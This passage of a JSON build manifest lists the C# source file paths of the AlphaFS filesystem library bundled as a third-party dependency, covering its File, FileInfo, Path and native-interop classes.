Methods\\File.EnumerateHardLinksCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ExistsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.FindAllStreamsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetAccessControlCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetAttributesExCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetChangeTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetCompressedSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetCreationTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetEncryptionStatusCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileIdInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileInfoByHandleCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileSystemEntryInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetHashCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLastAccessTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLastWriteTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLinkTargetInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetProcessForFileLockCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ImportExportEncryptedFileDirectoryRawCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.IsLockedCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.OpenCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllBytesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReplaceCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetAccessControlCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetAttributesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetFsoDateTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.WriteAllBytesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.WriteAppendAllLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.ExportEncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.GetEncryptionStatus.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.ImportEncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateHardLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateHardLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateSymbolicLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateSymbolicLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.EnumerateHardLinks.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.EnumerateHardLinksTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.GetLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.GetLinkTargetInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.CopyTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.CopyTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AttributeLogic.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.DeleteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.EnumerateAlternateDataStreamsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Exists.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ExistsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.FindFirstStreamNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAttributesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileIdInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileInfoByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileInfoByHandleTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileSystemEntryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetHash.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetHashTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetProcessForFileLock.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetProcessForFileLockTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.IsLocked.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.IsLockedTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Open.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenBackupRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenBackupReadTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenReadTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenWrite.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenWriteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllBytes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllBytesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Replace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAttributesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ThrowIOExceptionIfFsoExist.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllBytes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllBytesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileIdBothDirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Compression\\FileInfo.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Compression\\FileInfo.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.CopyTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.CopyToMoveToCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.MoveTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Encryption\\FileInfo.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Encryption\\FileInfo.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.AppendText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.CreateText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetHash.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.IsLocked.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Open.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenWrite.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.RefreshEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Replace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileSystemInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FindFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\KernelTransaction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\AlternateDataStreamInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\BackupFileStream.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\BackupStreamInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\LinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\SymbolicLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.BackupStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DeviceManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DirectoryManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DiskManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.EncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.FileManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Handles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.KernelTransactions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.PathManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Shell32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Utilities.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.VolumeManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\BY_HANDLE_FILE_INFORMATION.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\COPY_FILE_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILETIME.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_BASIC_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_ID_BOTH_DIR_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_ID_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_INFO_BY_HANDLE_CLASS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FINDEX_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FINDEX_SEARCH_OPS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FIND_FIRST_EX_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\GET_FILEEX_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\MountPointReparseBuffer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\MOVE_FILE_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\ReparseDataBufferHeader.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\REPARSE_DATA_BUFFER.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVICE_INTERFACE_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVICE_INTERFACE_DETAIL_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVINFO_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_ATTRIBUTE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_ID.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SymbolicLinkReparseBuffer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\VOLUME_INFO_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FILE_ATTRIBUTE_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FIND_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FIND_STREAM_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_STREAM_ID.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.AddTrailingDirectorySeparatorCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.CombineCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetDirectoryNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetDirectoryNameWithoutRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetExtensionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFileNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFileNameWithoutExtensionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFinalPathNameByHandleCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFullPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetLongPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetLongShort83PathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetPathRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetRegularPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetSuffixedDirectoryNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetSuffixedDirectoryNameWithoutRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetTempPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.IsPathRootedCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.IsUncPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.LocalToUncCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.RemoveTrailingDirectorySeparatorCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.AddTrailingDirectorySeparator.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.ChangeExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Combine.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryNameWithoutRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryNameWithoutRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFileNameWithoutExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFinalPathNameByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFullPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFullPathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetInvalidFileNameChars.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetInvalidPathChars.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongFrom83ShortPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongFrom83ShortPathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetPathRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRandomFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRegularPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRelativePath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetShort83Path.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetShort83PathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path 